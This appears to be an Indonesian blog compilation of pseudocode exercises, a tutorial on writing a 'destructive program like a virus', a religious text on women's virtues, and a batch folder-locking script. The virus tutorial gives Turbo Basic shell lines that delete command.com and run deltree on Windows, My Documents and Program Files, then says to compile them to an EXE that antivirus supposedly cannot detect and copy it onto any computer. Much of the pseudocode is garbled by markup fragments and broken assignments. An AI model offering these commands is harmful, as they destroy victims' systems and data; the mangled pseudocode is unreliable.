Buat PROGRAM Menghitung Simpangan Baku !

PROGRAM Menghitung
{Program untuk menghitung simpangan baku}

DEKLARASI
x : array [1..100] of real
j, a, b, c, d, e, f : real
i, n : integer

ALGORITMA
Read (n) {tentukan jumlah elemen larik yang akan digunakan}
For i<-1 do="" n="" span="" to="">
Read (x[i]) {tentukan elemen larik A yang akan digunakan}
j <- 0="" span="">
j <- i="" j="" span="" x="">
a <- j="" span="">
b <- j="" n="" span="">
c <- -="" a="" b="" span="">
d <- c="" span="" sqr="">
e <- d="" n="" span="">
f <- e="" span="" sqrt="">
Write (d) {cetak nilai simpangan baku}
Enfor

Buat PROGRAM Membalikkan Elemen Larik !

PROGRAM Membalikkan
{Program untuk membalikkan elemen-elemen larik}

DEKLARASI
i, j, n : integer
temp : string
x : array [1..100] of string

ALGORITMA
Read (n) {tentukan jumlah elemen larik yang akan digunakan}
For i <- do="" n="" span="" to="">
Read (x[i]) {tentukan elemen larik x yang akan digunakan}
Endfor
i <- 1="" span="">
j <- n="" span="">
While (i≤j) do
temp <- i="" span="" x="">
x[i] <- j="" span="" x="">
x[j] <- span="" temp="">
i <- i="" span="">
j <- j-1="" span="">
temp <- i="" span="" x="">
x[i] <- j="" span="" x="">
x[j] <- span="" temp="">
For i <- 1="" do="" n="" span="" to="">
Write (x[i]) {cetak data larik x setelah saling balik}
Endhile
Endfor

Oleh : http://adf.ly/5Dve9

Buat PROGRAM Mempertukarkan 2 Buah Larik !

PROGRAM Mempertukarkan;
{Program untuk mempertukarkan dua buah larik pada indeks yang bersesuaian}

DEKLARASI
A : Array[1..200] of Integer
B : Array[1..200] of Integer
C : Array[1..200] of Integer
i, N, tmp, mak : integer

ALGORITMA
Read (N) {tentukan jumlah elemen larik yang akan digunakan}
For i <- 1="" do="" n="" span="" to="">
Read (A[i]) {tentukan elemen larik A yang akan digunakan}
Endfor
For i <- do="" n="" span="" to="">
Read (B[i]) {tentukan elemen larik B yang akan digunakan}
Endfor
For i <- do="" n="" span="" to="">
C[i] <- b="" i="" span="">
B[i] <- a="" i="" span="">
A[i] <- c="" i="" span="">
Endfor
For i <- 1="" do="" n="" span="" to="">
Write (A[i]) {cetak data larik A setelah saling tukar}
For i <- 1="" do="" n="" span="" to="">
Write (B[i]) {cetak data larik B setelah saling tukar}
Endfor

Buat Program Intan !

*
* * *
* * * * *
* * *
*

PROGRAM Intan
{Untuk mencetak intan dengan jari-jari = N}

DEKLARASI
Baris, Kolom, N : Integer

ALGORITMA:
Read (N)
Baris <- 1="" span="">
While Baris ≤ N do
Write ('*' : N + 1 - Baris)
Kolom <- 2="" span="">
While Kolom <- -="" 1="" baris="" do="" span="">
Write ('*')
Kolom <- kolom="" span="">
Endwhile
Writeln ( )
Baris <- baris="" span="">
Endwhile
Baris <- baris-2="" span="">
While Baris ≥ 1
Write ( '*' : N + 1 - Baris)
Kolom <- 2="" span="">
While Kolom ≤ (2 * Baris - 1) do
Write ('*')
Kolom <-kolom 1="" span="">
Endwhile
Writeln ( )
Baris <- -="" 1="" baris="" span="">
Endwhile

Buat Program Bintang !

*
**
***
**
*

Program Bintang
Untuk mencetak N bintang}

DEKLARASI
N, I, J, K : Integer

ALGORITMA:
Read (N)
For I <- 1="" do="" downto="" n="" span="">
For J <- -="" 1="" do="" i="" span="" to="">
Write (' ')
K <- n="" span="">
Repeat
Write ('*')
K <- -="" 1="" k="" span="">
until (K <>
Writeln ( )
Endfor
Endfor
For I <- -="" 1="" do="" downto="" n="" span="">
K <- -="" 1="" n="" span="">
Repeat
Write(' ')
K <- -="" 1="" k="" span="">
until (K <>
For J <- 1="" do="" downto="" i="" span="">
Write ('*')
Writeln ( )
Endfor
Endfor

Buat Program Tukar Kata !

Program Tukar_Kata
{Untuk mencetak kata menjadi terbalik}

DEKLARASI
Kata, Hasil, Temp : String
I : Integer

ALGORITMA:
Read (Kata)
Hasil <- span="">
For I <- 1="" ata="" do="" downto="" length="" span="">
Temp <- 1="" ata="" copy="" i="" span="">
Hasil <- hasil="" span="" temp="">
Endfor
Write (Hasil)

Cara Membuat Program Perusak (Seperti Virus)

Penulis peduli dengan para newbie yang sedang belajar pemograman sekaligus penulis juga peduli dengan para progammer yang belum mengenal bahasa BASIC (Maklum kebanyakan programmer pada langsung lompat ke Pascal, C dan lainnya).
Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak (seperti virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.
Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google atau cari dirental CD.
Jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak. shell "Perintah DOS" dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat :

shell "c:"
shell "cd\"
shell "del command.com"

Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain.

shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"

Diatas adalah contoh menghapus Directory My Document, Windows dan Program Files, sangat fatal bukan ?
Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE.
Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa BELUM ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows,
Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus.

*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda

Referensi : dari situs*
*maaf nama situs/linknya lupa dicopy, terima kasih.

Ke Istimewaan Wanita

Doa wanita lebih makbul daripada lelaki kerana sifat penyayang yang lebih kuat daripada lelaki. Ketika ditanya kepada Rasulullah S.A.W akan hal tersebut,jawab baginda: "Ibu lebih penyayang daripada bapa dan doa orang yang penyayang tidak akan sia-sia."

Wanita yang solehah (baik) itu lebih baik daripada 1,000 orang lelaki yang soleh.
Barang siapa yang menggembirakan anak perempuannya, derajatnya seumpama orang yang sentiasa menangis karena takutkan Allah S.W.T dan orang yang takutkan Allah S.W.T akan diharamkan api neraka ke atas tubuhnya.

Barang siapa yang membawa hadiah (barang makanan dari pasar ke rumah) lalu diberikan kepada keluarganya, maka pahalanya seperti bersedekah. Hendaklah mendahulukan anak perempuan daripada anak lelaki. Maka barangsiapa yang menyukakan anak perempuan seolah-olah dia memerdekakan anak Nabi Ismail A.S

Wanita yang tinggal bersama anak-anaknya akan tinggal bersama aku (Rasulullah S.A.W) di dalam syurga.

Barang siapa mempunyai tiga anak perempuan atau tiga saudara perempuan atau dua anak perempuan atau dua saudara perempuan, lalu dia bersikap ihsan dalam pergaulan dengan mereka dan mendidik mereka dengan penuh rasa takwa serta bertanggungjawab, maka baginya adalah syurga.

Daripada Aisyah r.a. "Barang siapa yang diuji dengan sesuatu daripada anak-anak perempuannya, lalu dia berbuat baik kepada mereka, maka mereka akan menjadi penghalang baginya daripada api neraka.

Syurga itu di bawah telapak kaki ibu.

Apabila memanggil akan engkau dua orang ibu bapamu, maka jawablah panggilan ibumu dahulu.

Wanita yang taat berkhidmat kepada suaminya akan tertutup pintu-pintu neraka dan terbuka pintu-pintu syurga. Masuklah dari mana pintu yang dia kehendaki dengan tidak dihisab.

Wanita yang taat akan suaminya, semua ikan-ikan di laut, burung di udara, malaikat di langit, matahari dan bulan, semuanya beristighfar baginya selama mana dia taat kepada suaminya dan direkannya (serta menjaga sembahyang dan puasanya).

Aisyah r.a berkata "Aku bertanya kepada Rasulullah S.A.W,siapakah yang lebih besar haknya terhadap wanita? Jawab baginda, "Suaminya." "Siapa pula berhak terhadap lelaki?" Jawab Rasulullah S.A.W "Ibunya."

Perempuan apabila sembahyang lima waktu, puasa sebulan Ramadan, memelihara kehormatannya serta taat akan suaminya, masuklah dia dari pintu syurga mana saja yang dia kehendaki.

Tiap perempuan yang menolong suaminya dalam urusan agama, maka Allah S.W.T memasukkan dia ke dalam syurga lebih dahulu daripada suaminya (10,000 tahun).
Apabila seseorang perempuan mengandung janin dalam rahimnya, maka beristighfarlah para malaikat untuknya. Allah S.W.T mencatatkan baginya setiap hari dengan 1,000 kebaikan dan menghapuskan darinya 1,000 kejahatan.

Apabila seseorang perempuan mulai sakit hendak bersalin, maka Allah S.W.T mencatatkan baginya pahala orang yang berjihad pada jalan Allah S.W.T

Apabila seseorang perempuan melahirkan anak, keluarlah dia daripada dosa-dosa seperti keadaan ibunya melahirkannya.

Apabila telah lahir (anak) lalu disusui, maka bagi ibu itu setiap satu tegukan daripada susunya diberi satu kebajikan.

Apabila semalaman (ibu) tidak tidur dan memelihara anaknya yang sakit, maka Allah S.W.T memberinya pahala seperti memerdekakan 70 orang hamba dengan ikhlas untuk membela agama Allah S.W.T
Referensi : dari situs*
*maaf nama situs/linknya lupa dicopy, terima kasih.

Cara Menyembunyikan Folder dengan DOS

@ECHO OFF
titipan kunci folder
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo apakah anda mau menutup loker ini????(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Foldernya dah terkunci
goto End
:UNLOCK
echo apakah anda ingin membuka folder lock? silahkan masukan pasword!!!!
set/p “pass=>”
if NOT %pass%== sandi nugraha goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Foldernya berhasil di buat
goto End
:End

silahkan anda copykan ke notepade dan lalu save berinama “kehendak anda sendri”

coNtoh: kunci.bat

dan selalu beri file dengan akhriran titikbat [.bat]

gunanya untuk menyembunyikan folder

dan dengan cara klik kanan pada file bat ini lau edit “paswordnya dapat anda ganti kehendak anda sendiri”

contoh: [if NOT %pass%== sandi nugraha goto FAIL]

sandi nugraha adalah “pasword” saya

“tapi kelemahan ini adalah dapat gampang sekali merubah pasword tanpa harus terlebildahulu memasukan pasword”

“ini contoh yang tertera di atas”

Referensi : dari situs*
*maaf nama situs/linknya lupa dicopy, terima kasih.